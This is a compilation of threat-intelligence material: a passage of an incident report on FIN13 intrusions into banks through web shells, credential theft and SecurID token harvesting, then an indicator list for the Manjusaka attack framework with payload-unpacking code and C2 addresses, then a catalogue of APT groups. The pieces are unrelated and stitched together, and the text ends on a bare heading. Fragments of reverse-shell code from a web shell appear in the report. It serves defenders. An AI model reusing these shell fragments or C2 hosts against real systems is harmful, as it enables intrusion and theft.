187.177.170.111 [21/Jun/2021:14:40:09 -0500] “GET /_async/ HTTP/1.1” 403 1166
187.177.170.111 [21/Jun/2021:14:41:07 -0500] “GET /_async/AsyncResponseServiceHttps HTTP/1.1” 200 348
187.177.170.111 [21/Jun/2021:14:41:20 -0500] “GET /.beamarker.dat HTTP/1.1” 404 1164
187.177.170.111 [21/Jun/2021:14:41:24 -0500] “GET /_async/.beamarker.dat HTTP/1.1” 200 1
187.177.170.111 [21/Jun/2021:14:42:51 -0500] “GET /bea_wls_internal/ HTTP/1.1” 200 49
187.177.170.111 [21/Jun/2021:14:43:00 -0500] “GET /bea_wls_internal/weblogic.txt HTTP/1.1” 404 1164
```
After uploading and requesting a couple of test pages, the actor can be seen accessing the first web shell called “.weblog.jsp.” Subsequently, the actor moved to numerous additional systems in the DMZ, looking to extend the radius of his attack.
### Initial Compromise
Weblog.jsp is jspRAT, a web shell – a JavaServer page (JSP) backdoor that can manipulate files and directories. This backdoor can run arbitrary Windows commands and that was the initial interaction conducted by the attacker. Below we can see the set of initial commands executed by the actor attempting a recon to the DMZ segment where the infected system was operating.
At the end of this phase, the attacker downloaded an archive of malicious executables for different operating systems looking to use the machine as a staging point for the next phases of the attack.
The Zip archive contained:
- BlueAgave, a PowerShell HTTP Bind Shell
- A Perl version of BlueAgave
- A PHP web shell
- A Java Database browser
- A Java Scanner (PortHole)
- A Java packet capture tool (RawCap)
- SpinOff SQL Browser
- A PowerSploit script to dump the lsass.exe process (Latchkey)
We will discuss these tools in the section dedicated to tooling in Appendix A: attacker tools.
From the attack perspective, once the attacker obtained the breach head to the corporate network, he halted temporarily any additional activity and stayed below the radars for about a week. Usually, this tactic is used when the actor carefully approaches an environment, knowing the network includes several different types of detection tools that could alert the victim. In these cases, a sophisticated attacker waits before moving to the next stages of the attack.
On June 27, 2021, the attacker accessed the web shell again and with a common credential between, he moved laterally to the Zabbix server (A DMZ Monitoring service) and implanted WSO web shell, a PHP web shell on the system.
### The Webshell
Chart10.php (hash SHA1: 12088138171164c0c256f608b434eb73c0c957d7)
WSO is a common web shell among cybercriminals. It is designed to be used via a web browser, and it has a simple user-friendly interface, making it quite easy for any attacker to learn and to use. WSO stands for “web shell by oRb,” usually this string is present in the Web Shell code. Initially reported in 2009, it comes from Russian developers, and it was originally proposed by a user named oRb, on a Russian underground community in 2008. oRb, the developer, continued to post updates and new versions of the script, and the community published a number of major releases, until in 2019 WSO reached version 4.1.3. However, the most popular versions are version 2.1 and version 2.5.
In our case, the Web shell version is 2.1 as highlighted in the following figure:
The Web shell showed a number of peculiar traits:
```
ho “`id`”;/bin/sh’;
$0=$cmd;
$target=$ARGV[0];
$port=$ARGV[1];
$iaddr=inet_aton($t
```
This is translated into the following instructions:
```
open(STDOUT, “>&SOCKET”);
open(STDERR, “>&SOCKET”);
system($system);
close(STDI
```
This redirects stdout to a socket to ensure functionality for the reverse shell. The following piece of the Web shell code, instead:
```
dup2(fd, 2);
execl(“/bin/sh”,”sh -i”, NULL);
close(fd);
```
It is used to sync the input and the output from the web shell. Malicious activity was identified within the sudo log files on Zabbix. Minutes before the “chart10.php” was created on the filesystem, there were multiple sudo entries associated with the Zabbix account that appear to be attacker-related.
Some of the threat actor activity includes attempting to upload a simple web shell, viewing the “/etc/shadow” file, finding and modifying the permissions to the “/srv/www/htdocs/gif” folder, and running “whoami.” Evidence of the attacker attempting to drop a web shell in these commands may suggest he did not have persistent access to this system. Thus, these commands might have been executed through a command injection vulnerability.
### Extended Compromise
A few hours after the actor acquired control of the Zabbix system, he started to scan the networks in order to gain a detailed view of the system’s visibility. The actor then began launching massive ping sweeps against private subnets and, for any responding machine, he scripted the activation of a port scan aimed to verify the first 10,000 TCP ports. To execute the scan, the attacker imported the Java Scanner known as PortHole from the Oracle WebLogic server.
PortHole is a simple port scanner to identify open ports based on the target and range provided within the command-line arguments.
During the investigation, we found several txt files in the unallocated address space of the Zabbix machine that were the redirected outputs of these scanning attempts.
Due to the fact these scans occurred inside the network, the NetWitness platform was not able to intercept and report them, lacking the DMZ-to-Internal visibility.
### Domain Credential Harvesting
The scan of the Backend DMZ LAN allowed the actor to identify a Domain Controller of the victim’s Domain Forest which became the next target of the attacker. FIN13 took some time before attacking it, to ensure staying undetected by waiting for another week before executing this part of the activity. In addition, in the week passed between the compromise of the Zabbix system and the access to the AD server, the attacker transferred additional tools to the Zabbix, from the WebLogic server and worked to consolidate his control of the Front-End DMZ by scanning and moving laterally to other systems, using the Zabbix admin account. To attack the AD server, the attacker downloaded a number of tools to the Zabbix server:
| Path | Creation | Notes | MD5 |
|------|----------|-------|-----|
| 65.txt | June/22/2021 18:25:20 | Perl web shell on port 65510. | 91a7cfb45dc44a91cdc8aecc2f26c181 |
| chart10.php | June/22/2021 19:52:13 | Web shell | 32deb25a3d7f73ee5f1f38d2e44ef193 |
| p.txt | June/22/2021 20:52:24 | Java Port Scanner | f4b56e8b6c0710f1e8a18dc4f11a4edc |
| pr64.zip | June/22/2021 21:38:02 | procdump64 | a92669ec8852230a10256ac23bbf4489 |
| bi.txt | June/22/2021 21:42:00 | Perl bind shell on port 64510 | fed35b114e24bf4a88c8b152c02faabb |
| s0b.j | June/22/2021 22:33:44 | Jar that queries db using config data (str-*.txt files) | 4bed9c8d06a3ba7215c49f139ca0dd16 |
| str-isis.txt | June/22/2021 22:38:55 | jdbc connection / credential info | 93acad22e4f91dbc9581377fd9d996e4 |
| jtds-1.2.1.jar | June/23/2021 21:24:56 | likely jdbc driver | bc9a0f8026c176ab8afb1b330ef4f781 |
| str-bio.txt | June/29/2021 18:22:44 | jdbc connection / credential info | 17eb9c943d686a7d7c23266d9cbb3900 |
The actor then moved laterally from the Zabbix server to the Oracle Identity Manager server, located in the DMZ. The system was not exposing interfaces to the Internet, but was sharing with Zabbix the root password, thus allowing the attacker to access it and dump the sysadmin account related to the IAM service.
Password reuse, unfortunately, is a common wrongdoing in corporate networks. We all know that local accounts with administrator privileges are necessary to be able to run system updates, software upgrades, and hardware usage. They are also helpful to gain local access to machines when the network goes down and when your organization faces some technical glitches; however, from a security perspective, not managing these accounts properly can have serious repercussions as this case exemplifies.
As a result, the attacker was able to access the Oracle IAM server administrative UI, by tunneling the interface through SSH, via Zabbix and to dump the IAM local database of accounts allowing him to scrape between the accounts to find domain accounts.
In addition, the attacker installed the Java packet capture tool (RawCap) to sniff credentials passed by the IAM service to the DMZ servers, intercepting additional domain and local passwords. Unfortunately, the RawCap output files were removed soon after their creation by the attacker. At the time of our investigation, the RawCap tool was already removed by the actor, but we successfully traced and recovered it by reviewing the machine's unallocated space.
At this stage of the attack, the actor targeted the domain controllers attempting to expand control to the rest of the network. Backweb was an internal web portal including domain accounts. The attacker logged on, copied procdump to the system (pr64.zip) and adopted the traditional Kerberoasting technique to collect the ticket from system memory and crack it offline.
The actor accessed the system on August 12, 2021, using the customasp local user account. At 18:05:16 UTC, a service was created and initialized with an obfuscated PowerShell payload. The SID associated with the service creation was related to the customasp account according to Windows Security event logs.
From this point, going forward, the actor organized his attack around the Backweb server and accessed it using different external IP addresses. Additionally, the threat actor left several files in the “Windows\Temp” directory such as the Java scanner and scanned the internal subnets looking for additional servers. The activity went unnoticed because the attacker executed the scanning in different steps, avoiding flooding the network. During the scans, he identified a cluster of RSA SecurID servers and attempted to access them by leveraging service accounts previously stolen but failed.
Our team analyzed the contents of the wtmp and btmp log files, where the SecurID system stores SSH logons. The /var/log/btmp file showed significant failed SSH connection attempts that confirmed dictionary-based access attempts executed on August 14, 2021.
An excerpt of the logs is reported below:
```
admin ssh:notty 10.128.60.174 Sun Aug 14 02:04 - 02:04 (00:00)
```
Notably, the accounts attempted were existing users and that confirmed the earliest credential harvesting executed by the attacker. However, failure to access the SecurID server forced the attacker to adopt a different approach. The attacker encircled the RSA servers by enumerating databases in the same network segment. He scanned for MS-SQL servers from the same host where he attempted SSH logons and brought in the following files:
- s0b.j
- str-isis.txt
- jtds-1.2.1.jar
- str-bio.txt
s0b.j accepts as a parameter Base64 encoded SQL queries and uses a configuration file (srt*.txt) that contains the connection string and credentials of the target database server. With this trick, the attacker accessed a number of databases until he successfully landed on a database storing the SecurID token serials together with the corresponding end-user account (without the password). They then dumped the database, moved it to the Backweb server, and exfiltrated it.
The completion of this activity allowed the attacker to harvest token serials from the database and to collect daily transactions, in clear text, stored inside a service account folder, where the storage procedure was scripted.
The successful harvesting of the tokens allowed the attacker to execute frauds against bank users by activating a token recovery procedure and subsequently log on and transfer money from the online banking system.
## The Attack Outcome: Online Banking Fraud
The attacker executed the fraud in three weeks between September and October 2021 impacting hundreds of accounts for a significant amount of money. We started investigating the case at the end of September 2021 soon after the bank realized a fraud, somewhat linked with RSA SecurID was occurring. The investigation lasted for about six weeks and determined the evidence we reported.
### Second Case
During the month of January 2022, a customer in Peru reported a second case. This time the actor leveraged the Log4j vulnerability to open a breach head on the DMZ and immediately deployed tools to consolidate his position. The case went on fire when the end-users started complaining to the bank about their money losses while the bank anti-fraud protection system was not reporting any remarkable record of fraud attempted. They asked support to review their 2-factor authentication system and again, we found traces of FIN13 activity. Unfortunately, we were not having our NetWitness Network platform available to perform network forensics and we were limited to investigate with logs and our endpoint solution, deployed when we started the analysis. The actor was able to exploit a vulnerable exposed and unpatched system on the border: AKATWEB, a proxy, implanting a JSP web shell. Then he moved laterally to a DMZ segment hosting a SharePoint server where he landed probably using the CVE-2019-0604 exploit, imported procdump (pr64.exe), and successfully dumped the SharePoint cached credentials.
With the SharePoint credential hashes collected, the actor executed a scan on the REMWK DMZ. He found additional servers, moved laterally leveraging on credentials extracted and cracked from the SharePoint and executed another lsass.exe dump by importing procdump (pr64.exe).
This second dump contained administrative domain credentials for SQL Servers and a service account related to a cluster (MULTICLD BSIDE).
The following accounts were identified within the LSASS dump that contained NT hashes:
| Username | Domain | Logon Server | logon_time (UTC) | SID |
|----------|--------|--------------|-------------------|-----|
| ugssdbmultidedp02 | <REDACTED> | AD01 | 2021-12-17 T03:08:11.098895 | S-1-5-21-1468044382-2625088049-3232167870-282957 |
| ugsop_sql1 | <REDACTED> | AD01 | 2021-12-17 T02:25:44.207420 | S-1-5-21-1468044382-2625088049-3232167870-211229 |
| SQLMULTIVBDLIST$ | <REDACTED> | AD02 | 2021-06-12 T02:37:47.721802 | S-1-5-21-1468044382-2625088049-3232167870-282950 |
From this point, going forward, the attacker was able to leverage the RBMAdmin account to log and query all the databases residing on the REMWK DMZ; we found multiple evidence of database dumps occurred between December 20 and 23, 2021.
An example of the dump content is illustrated below:
```
select IdUsuario,IdTipoUsuario,IdEmpresa,NombreUsuario,Nombre,RFC,Email,CONVERT(VARBINARY(MAX),Clave),ClaveSalt,Estatus,CONVERT(VARBINARY(MAX),RespuestaSeguridad),idPreguntaSeguridad,BloqueoNoUso,NumeroCliente,IdTipoBloqueo from Per_Usuario where len(Clave) = 128
```
Notably, we found the configuration files in unallocated space of RBSCLPED01. Querying the databases, the attacker was able to collect user details and data but was unable to conduct a fraud with these details. To complete the cycle, the attacker was looking to harvest end-user’s credentials and targeted the Active Directory servers of the online banking infrastructure.
A specific domain controller, part of the internal forest was targeted: the system was a legacy Windows 2012 server: QTCBDC02. The triage on the QTCBDC02 domain controller showed signs of malicious activity. The triage process included the collection and analysis of several system components, among which the MFT, amcache, shimcache, and system logs.
We identified two suspicious instances of PsExec (psexesvc.exe). Evidence was also found of PsExec64.exe appearing on the system on 24/12/2021, aligned with the attacker timeline.
Finally, we found the missing piece, PsExec64.exe was referenced in a bat script called CCfix.bat. By analyzing its content, we determined that this was used to enable RDP in hosts specified in a file called equipos.txt.
The equipos.txt file had four entries in it:
- QTCBDC02
- QTVCTR01
- QTBKSR02
- QTJPGPA1
The finding allowed our team to trace another bat script (CCfixA.bat) where PsExec64.exe was used to perform several tasks. In this script, a potential cleartext password was found for user usrdskmgt.
Thanks to these activities, the actor compromised the domain controller and a number of accounts allowing him to access the INTSERV AREA systems, where in this case, the SecurID servers were deployed. With the INTSRV area now reachable, the attacker tested and finally found a system allowed to directly access the internet: QTJPGPA1 and implanted a PERL Reverse Shell on it granting direct access to the specific area from a dedicated C2. |
# IoC for Manjusaka
Manjusaka is a web-based imitation of the Cobalt Strike framework.
## Framework content unpacking
Payloads, binaries, and other hardcoded framework components are compressed (raw deflated) and encoded as hex strings. Each data blob starts with the header:
`1F 8B 08 00 00 00 00 00 00 FF`
The last two hardcoded data blobs are EXE and ELF binaries.
### Payloads unpacking example:
1. Parse payload data blobs and remove header (20 chars)
```python
r = re.compile(b'1f8b08000000000000ff[0-9a-f]{1024,}?')
data_blobs = re.finditer(r, buff)
payloads = list(data_blobs)[-2:]
payload_1_start = payloads[0].start()
payload_1_end = payloads[1].start()
payload_1_buff = buff[payload_1_start+20:payload_1_end]
payload_2_start = payload_1_end
payload_2_end = re.search(b'[0-9a-f]{4}?\x00', buff[payload_2_start:]).start() + 4 + payload_2_start
payload_2_buff = buff[payload_2_start+20:payload_2_end]
```
2. Decode and decompress payload
```python
raw_data = binascii.unhexlify(payload_1_buff)
data = zlib.decompressobj(wbits=-15) # -15 = no headers and trailers
decompressed_data = data.decompress(raw_data)
decompressed_data += data.flush()
```
You can also use our `rip.py` script.
## Framework Go build IDs
- Wy_vibDZv2wm5bL2qsjJ/4PMVyM99vavXhzeZ4lv-/NYl_KmuSEbSNJk9EaRt1/-EMPWdjs0Nl7sygAAteT - ELF v01
- y0MW5jt0EkawUK5kkl12/Zh446aeMzbHG7OsVOfqu/m_XtCR229uKgZbQeD5Ct/fxfGJGaYN1_6nNv2XZSb - ELF v02
- 0306BSKBqnqKtMQqgSXM/hLj4wvVVJLyBCaJB_8M0/stfbGsFZXgNkPwZKLqRe/MIFhigzePSeV5d_RmfC5 - ELF v03 (dev)
- 654gijPAUkEazJpjD9NU/gDuHF1xfdp91Sf6SYQHX/vsnn7ekg0TKXWiOScF0D/Sam0sQmfyCaDC8qCfYx5 - ELF v03
- erRGOJVHe87XgmyOVwHD/BpxVvpyDXtLddyWFd8N9/oYwdpsmFEDX92XJURLUz/bbXY8CvkDMriB32dI6SX - EXE v03
## Binaries PDB
- Z:\Code\NPSC2\npc\target\release\deps\npc.pdb
- D:\CodeProject\hw_src\NPSC2\npc\target\release\deps\npc.pdb
## Yara rules
- manjusaka_framework_go_build_id
- manjusaka_payload_encoded_hexstring
- manjusaka_payload_elf
- manjusaka_payload_mz
You can download the whole ruleset here.
## Samples (SHA-256)
### Framework GoLang binaries
- 955e9bbcdf1cb230c5f079a08995f510a3b96224545e04c1b1f9889d57dd33c1 - ELF v01
- f275ca5129399a521c8cd9754b1133ecd2debcfafc928c01df6bd438522c564a - ELF v02 upx
- 637f3080526d7d0ad5eb41bf9331fb51aaafd30f2895c00a44ad905154f76d70 - ELF v02 unpacked
- b5c366d782426bad4ba880dc908669ff785420dea02067b12e2261dd1988f34a - ELF v03 (dev) upx
- 107b094031094cbb1f081d85ec2799c3450dce32e254bda2fd1bb32edb449aa4 - ELF v03 (dev) unpacked
- fb5835f42d5611804aaa044150a20b13dcf595d91314ebef8cf6810407d85c64 - ELF v03 upx
- ff20333d38f7affbfde5b85d704ee20cd60b519cb57c70e0cf5ac1f65acf91a6 - ELF v03 unpacked
- 3581d99feb874f65f53866751b7874c106b5ce65a523972ef6a736844209043c - EXE v03 upx
- 6082bf26bcc07bf299a88eaa0272022418b12156cd987adfdff9fa1517afcf3d - EXE v03 unpacked
### Hardcoded payload Rust binaries
- 0063e5007566e0a7e8bfd73c4628c6d140b332df4f9afbb0adcf0c832dd54c2b - ELF v01, v02
- d5918611b1837308d0c6d19bff4b81b00d4f6a30c1240c00a9e0a9b08dde1412 - ELF v03 (dev)
- 0a5174b5181fcd6827d9c4a83e9f0423838cbb5a6b23d012c3ae414b31c8b0da - ELF v03
- 6839180bc3a2404e629c108d7e8c8548caf9f8249bbbf658b47c00a15a64758f - EXE v01
- cd0c75638724c0529cc9e7ca0a91d2f5d7221ef2a87b65ded2bc1603736e3b5d - EXE v02
- 76eb9af0e2f620016d63d38ddb86f0f3f8f598b54146ad14e6af3d8f347dd365 - EXE v03 (dev)
- 2b174d417a4e43fd6759c64512faa88f4504e8f14f08fd5348fff51058c9958f - EXE v03
### ITW payload Rust binaries
- 056bff638627d46576a3cecc3d5ea6388938ed4cb30204332cd10ac1fb826663
- 399abe81210b5b81e0984892eee173d6eeb99001e8cd5d377f6801d092bdef68
- 3a3c0731cbf0b4c02d8cd40a660cf81f475fee6e0caa85943c1de6ad184c8c31
- 8e9ecd282655f0afbdb6bd562832ae6db108166022eb43ede31c9d7aacbcc0d8
- 90b6a021b4f2e478204998ea4c5f32155a7348be4afb620999fa708b4a9a30ab
- a8b8d237e71d4abe959aff4517863d9f570bba1646ec4e79209ec29dda64552f
- ecbe098ed675526a2c22aaf79fe8c1462fb4c68eb0061218f70fadbeb33eeced
## Network indicators
### C2 IPs
- 137.117.219
- 39.104.90.45
- 95.179.151.49
- 71.115.193.247:9000
- 119.28.101.125
- 104.225.234.200
### User Agents
- Mozilla/5.0 (Windows NT 8.0; WOW64; rv:40.0) Gecko
- Mozilla/5.0 (Windows NT 8.0; WOW64; rv:58.0) Gecko/20120102 Firefox/58.0
- Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
## OSINT data
### Binaries
- C:\Users\Administrator.WIN7-2021OVWRCZ\.cargo\registry\src\mirrors.ustc.edu.cn-
- C:\Users\root\.cargo\registry\src\mirrors.ustc.edu.cn-
- /root/.cargo/registry/src/mirrors.ustc.edu.cn-
### Github
- h5.qianxin.com
- weixin.qq.com/g/AQYAAEoVSAjZ35xwIeusxAmY6Qm2wKXvvjp6Ed7stK2OrUIl-
- profile-counter.glitch.me/DaxiaMM-new/count.svg
### Framework author
- `#codeby 道长且阻`
- `#email @ydhcui/QQ664284092` |
# Advanced Persistent Threats (APTs)
## APT39
**Suspected attribution:** Iran
**Target sectors:** Global, with a focus on the Middle East, particularly telecommunications, travel, IT, and high-tech industries.
**Overview:** APT39 targets telecommunications and travel industries for monitoring, tracking, or surveillance operations, collecting proprietary data for national priorities.
**Associated malware:** SEAWEED, CACHEMONEY, POWBAT.
**Attack vectors:** Spearphishing with malicious attachments or hyperlinks, leveraging previously compromised email accounts, and exploiting vulnerable web servers.
## APT35
**Target sectors:** U.S., Western Europe, and Middle Eastern military, diplomatic, media, energy, defense, engineering, business services, and telecommunications.
**Overview:** APT35, also known as Newscaster Team, is an Iranian government-sponsored cyber espionage team conducting long-term operations since 2014.
**Associated malware:** ASPXSHELLSV, BROKEYOLK, PUPYRAT, TUNNA, MANGOPUNCH, DRUBOT, HOUSEBLEND.
**Attack vectors:** Spearphishing using lures related to healthcare, job postings, and resumes, along with compromised accounts and password spray attacks.
## APT34
**Suspected attribution:** Iran
**Target sectors:** Financial, government, energy, chemical, and telecommunications, primarily in the Middle East.
**Overview:** APT34 has been operational since at least 2014, focusing on reconnaissance to benefit Iranian interests.
**Associated malware:** POWBAT, POWRUNER, BONDUPDATER.
**Attack vectors:** Exploiting Microsoft Office vulnerability CVE-2017-11882.
## APT33
**Suspected attribution:** Iran
**Target sectors:** Aerospace, energy.
**Overview:** APT33 targets organizations in the U.S., Saudi Arabia, and South Korea, particularly in the aviation and energy sectors.
**Associated malware:** SHAPESHIFT, DROPSHOT, TURNEDUP, NANOCORE, NETWIRE, ALFA Shell.
**Attack vectors:** Spear-phishing emails with recruitment-themed lures containing malicious HTML application files.
## APT41
**Suspected attribution:** China
**Target sectors:** Healthcare, telecoms, high-tech, video game industry.
**Overview:** APT41 conducts state-sponsored espionage and financially motivated activities, including stealing intellectual property.
**Associated malware:** Over 46 different code families and tools.
**Attack vectors:** Spear-phishing emails with attachments, sophisticated TTPs, and deployment of various malware.
## APT40
**Suspected attribution:** China
**Target sectors:** Countries important to the Belt and Road Initiative, including maritime, defense, aviation, chemicals, research, education, government, and technology.
**Overview:** APT40 targets government-sponsored projects to gather significant information.
**Associated malware:** At least 51 different code families.
**Attack vectors:** Spear-phishing emails posing as prominent individuals.
## APT31
**Suspected attribution:** China
**Target sectors:** Government, international financial organizations, aerospace, defense, high tech, construction, telecommunications, media, and insurance.
**Overview:** APT31 focuses on obtaining information for the Chinese government and state-owned enterprises.
**Associated malware:** SOGU, LUCKYBIRD, SLOWGYRO, DUCKFAT.
**Attack vectors:** Exploiting vulnerabilities in applications like Java and Adobe Flash.
## APT30
**Suspected attribution:** China
**Target sectors:** Members of the Association of Southeast Asian Nations (ASEAN).
**Overview:** APT30 has sustained activity since at least 2005, modifying source code to maintain tools and tactics.
**Associated malware:** SHIPSHAPE, SPACESHIP, FLASHFLOOD.
**Attack vectors:** Tools designed to infect removable drives and cross air-gapped networks.
## APT27
**Suspected attribution:** China
**Target sectors:** Global organizations, particularly in aerospace and transport.
**Overview:** APT27 focuses on intellectual property theft to maintain competitive advantages.
**Associated malware:** PANDORA, SOGU, ZXSHELL, GHOST, WIDEBERTH, QUICKPULSE, FLOWERPOT.
**Attack vectors:** Spear phishing, leveraging compromised accounts, and exploiting vulnerable web applications.
## APT26
**Suspected attribution:** China
**Target sectors:** Aerospace, defense, and energy.
**Overview:** APT26 engages in intellectual property theft.
**Associated malware:** SOGU, HTRAN, POSTSIZE, TWOCHAINS, BEACON.
**Attack vectors:** Strategic web compromises and custom backdoors.
## APT25
**Also known as:** Uncool, Vixen Panda, Ke3chang, Sushi Roll, Tor
**Suspected attribution:** China
**Target sectors:** Defense industrial base, media, financial services, and transportation in the U.S. and Europe.
**Overview:** APT25 focuses on data theft.
**Associated malware:** LINGBO, PLAYWORK, MADWOFL, MIRAGE, TOUGHROW, TOYSNAKE, SABERTOOTH.
**Attack vectors:** Spear phishing with malicious attachments and hyperlinks.
## APT24
**Also known as:** PittyTiger
**Suspected attribution:** China
**Target sectors:** Government, healthcare, construction, engineering, mining, nonprofit, and telecommunications.
**Overview:** APT24 targets organizations in the U.S. and Taiwan, focusing on politically significant documents.
**Associated malware:** PITTYTIGER, ENFAL, TAIDOOR.
**Attack vectors:** Phishing emails with military or business strategy themes.
## APT23
**Suspected attribution:** China
**Target sectors:** Media and government in the U.S. and the Philippines.
**Overview:** APT23 focuses on data theft with political and military significance.
**Associated malware:** NONGMIN.
**Attack vectors:** Spear phishing messages, including education-related lures.
## APT22
**Also known as:** Barista
**Suspected attribution:** China
**Target sectors:** Political, military, and economic entities in East Asia, Europe, and the U.S.
**Overview:** APT22 has been operational since at least early 2014, targeting public and private sector entities.
**Associated malware:** PISCES, SOGU, FLATNOTE, ANGRYBELL, BASELESS, SEAWOLF, LOGJAM.
**Attack vectors:** Strategic web compromises and exploiting vulnerable public-facing web servers.
## APT21
**Also known as:** Zhenbao
**Suspected attribution:** China
**Target sectors:** Government.
**Overview:** APT21 uses Russian-language attachments in spear phishing emails to gain access to sensitive information.
**Associated malware:** SOGU, TEMPFUN, Gh0st, TRAVELNET, HOMEUNIX, ZEROTWO.
**Attack vectors:** Spear phishing with malicious attachments and strategic web compromises.
## APT20
**Also known as:** Twivy
**Suspected attribution:** China
**Target sectors:** Construction, engineering, healthcare, non-profit, defense, and chemical research.
**Overview:** APT20 engages in data theft and monitoring of politically interested individuals.
**Associated malware:** QIAC, SOGU, Gh0st, ZXSHELL, Poison Ivy, BEACON, HOMEUNIX, STEW.
**Attack vectors:** Strategic web compromises targeting issues like democracy and human rights.
## APT19
**Also known as:** Codoso Team
**Suspected attribution:** China
**Target sectors:** Legal and investment.
**Overview:** Likely a freelancer group with some Chinese government sponsorship.
**Associated malware:** BEACON, COBALTSTRIKE.
**Attack vectors:** Phishing lures exploiting Microsoft vulnerabilities.
## APT18
**Also known as:** Wekby
**Suspected attribution:** China
**Target sectors:** Aerospace, defense, construction, engineering, education, health, biotechnology, high tech, telecommunications, transportation.
**Overview:** Very little public information is available about this group.
**Associated malware:** Gh0st RAT.
**Attack vectors:** Developed zero-day exploits and adapted resources for operations.
## APT17
**Also known as:** Tailgator Team, Deputy Dog
**Suspected attribution:** China
**Target sectors:** U.S. government, international law firms, and IT companies.
**Overview:** Conducts network intrusions against targeted organizations.
**Associated malware:** BLACKCOFFEE.
**Attack vectors:** Embedding encoded CnC in forums for malware control.
## APT16
**Suspected attribution:** China
**Target sectors:** Japanese and Taiwanese organizations in high-tech, government services, media, and financial services.
**Overview:** Focused on Taiwan's political and journalistic matters.
**Associated malware:** IRONHALO, ELMER.
**Attack vectors:** Spear phishing emails targeting Taiwanese media organizations.
## APT15
**Suspected attribution:** China
**Target sectors:** Global targets in trade, economic, financial, energy, and military sectors.
**Overview:** APT15 targets organizations in multiple countries, sharing resources with other Chinese APTs.
**Associated malware:** ENFAL, BALDEAGLE, NOISEMAKER, MIRAGE.
**Attack vectors:** Spear phishing emails targeting various sectors.
## APT14
**Suspected attribution:** China
**Target sectors:** Government, telecommunications, construction, and engineering.
**Overview:** Focuses on data theft related to military and maritime operations.
**Associated malware:** Gh0st, POISONIVY, CLUBSEAT, GROOVY.
**Attack vectors:** Spear phishing messages crafted to appear from trusted organizations.
## APT12
**Also known as:** Calc Team
**Suspected attribution:** China
**Target sectors:** Journalists, government, defense industrial base.
**Overview:** Linked to the Chinese People's Liberation Army, targeting organizations aligned with PRC goals.
**Associated malware:** RIPTIDE, HIGHTIDE, THREBYTE, WATERSPOUT.
**Attack vectors:** Phishing emails from valid but compromised accounts.
## APT10
**Also known as:** Menupass Team
**Suspected attribution:** China
**Target sectors:** Construction, engineering, aerospace, telecom firms, and governments in the U.S., Europe, and Japan.
**Overview:** APT10 has targeted these industries since 2009 to support Chinese national security goals.
**Associated malware:** HAYMAKER, SNUGRIDE, BUGJUICE, QUASARRAT.
**Attack vectors:** Spear phishing and access through managed service providers.
## APT9
**Suspected attribution:** Likely a freelancer group with some Chinese government sponsorship.
**Target sectors:** Organizations in healthcare, pharmaceuticals, construction, engineering, aerospace, and defense.
**Overview:** Focuses on data theft to maintain competitive advantages.
**Associated malware:** SOGU, HOMEUNIX, PHOTO, FUNRUN, Gh0st, ZXSHEL.
**Attack vectors:** Spear phishing and remote services for initial access.
## APT8
**Suspected attribution:** China
**Target sectors:** Media, entertainment, construction, engineering, aerospace, and defense.
**Overview:** Engages in intellectual property theft to maintain competitive advantages.
**Associated malware:** HASH, FLYZAP, GOLFPRO, SAFEPUTT.
**Attack vectors:** Spear phishing and exploiting vulnerable web servers.
## APT7
**Suspected attribution:** China
**Target sectors:** Construction, engineering, aerospace, and defense.
**Overview:** Engages in intellectual property theft.
**Associated malware:** DIGDUG, TRACKS.
**Attack vectors:** Lateral movement through access to one organization to infiltrate another.
## APT6
**Suspected attribution:** China
**Target sectors:** Transportation, automotive, construction, engineering, telecommunications, electronics.
**Overview:** Engages in data theft.
**Associated malware:** BELUGA, EXCHAIN, PUPTENT.
**Attack vectors:** Custom backdoors.
## APT5
**Suspected attribution:** China
**Target sectors:** Telecommunications, high-tech manufacturing, military application technology.
**Overview:** Active since at least 2007, focusing on telecommunications and technology companies.
**Associated malware:** Multiple custom malware families.
**Attack vectors:** Keylogging malware targeting corporate networks.
## APT4
**Also known as:** Maverick Panda, Sykipot Group, Wisp
**Suspected attribution:** China
**Target sectors:** Aerospace, defense, industrial engineering, electronics, automotive, government, telecommunications, transportation.
**Overview:** Targets the Defense Industrial Base frequently.
**Associated malware:** GETKYS, LIFESAVER, CCHIP, SHYLILT, SWEETTOOTH, PHOTO, SOGO.
**Attack vectors:** Spear phishing using U.S. government themes.
## APT3
**Also known as:** UPS Team
**Suspected attribution:** China
**Target sectors:** Aerospace, defense, construction, engineering, high tech, telecommunications, transportation.
**Overview:** One of the more sophisticated threat groups, using browser-based exploits.
**Associated malware:** SHOTPUT, COOKIECUTTER, SOGU.
**Attack vectors:** Generic phishing emails, exploiting vulnerabilities in Adobe Flash.
## APT2
**Suspected attribution:** China
**Target sectors:** Military and aerospace.
**Overview:** Engages in intellectual property theft.
**Associated malware:** MOOSE, WARP.
**Attack vectors:** Spear phishing exploiting CVE-2012-0158.
## APT1
**Also known as:** Unit 61398, Comment Crew
**Suspected attribution:** China’s People’s Liberation Army.
**Target sectors:** Broad range including IT, aerospace, public administration, energy, and healthcare.
**Overview:** Systematically stolen data from at least 141 organizations.
**Associated malware:** Multiple custom backdoors.
**Attack vectors:** Spear phishing with malicious attachments or hyperlinks.
## APT38
**Suspected attribution:** North Korea
**Target sectors:** Financial institutions worldwide.
**Overview:** Responsible for large-scale cyber heists, distinct from other North Korean activities.
**Associated malware:** Various custom malware families.
**Attack vectors:** Careful operations to maintain access and destroy evidence.
## APT37
**Suspected attribution:** North Korea
**Target sectors:** South Korea, Japan, Vietnam, Middle East.
**Overview:** Expanding operations with sophisticated tools, including zero-day vulnerabilities.
**Associated malware:** Diverse suite for espionage and destructive purposes.
**Attack vectors:** Social engineering, strategic web compromises, and exploiting vulnerabilities.
## APT28
**Also known as:** Tsar Team
**Suspected attribution:** Russian government
**Target sectors:** Caucasus, Eastern Europe, NATO, and European defense firms.
**Overview:** Skilled in collecting intelligence on defense and geopolitical issues.
**Associated malware:** CHOPSTICK, SOURFACE.
**Attack vectors:** SOURFACE downloader, EVILTOSS backdoor, and RSA encryption for stolen data.
## APT32
**Also known as:** OceanLotus Group
**Suspected attribution:** Vietnam
**Target sectors:** Foreign companies investing in Vietnam.
**Overview:** Threatens companies doing business in Vietnam.
**Associated malware:** SOUNDBITE, WINDSHIELD, PHOREAL, BEACON, KOMPROGO.
**Attack vectors:** ActiveMime files and spear phishing emails. |
# Persistent Actor Targets Ledger Cryptocurrency Wallets
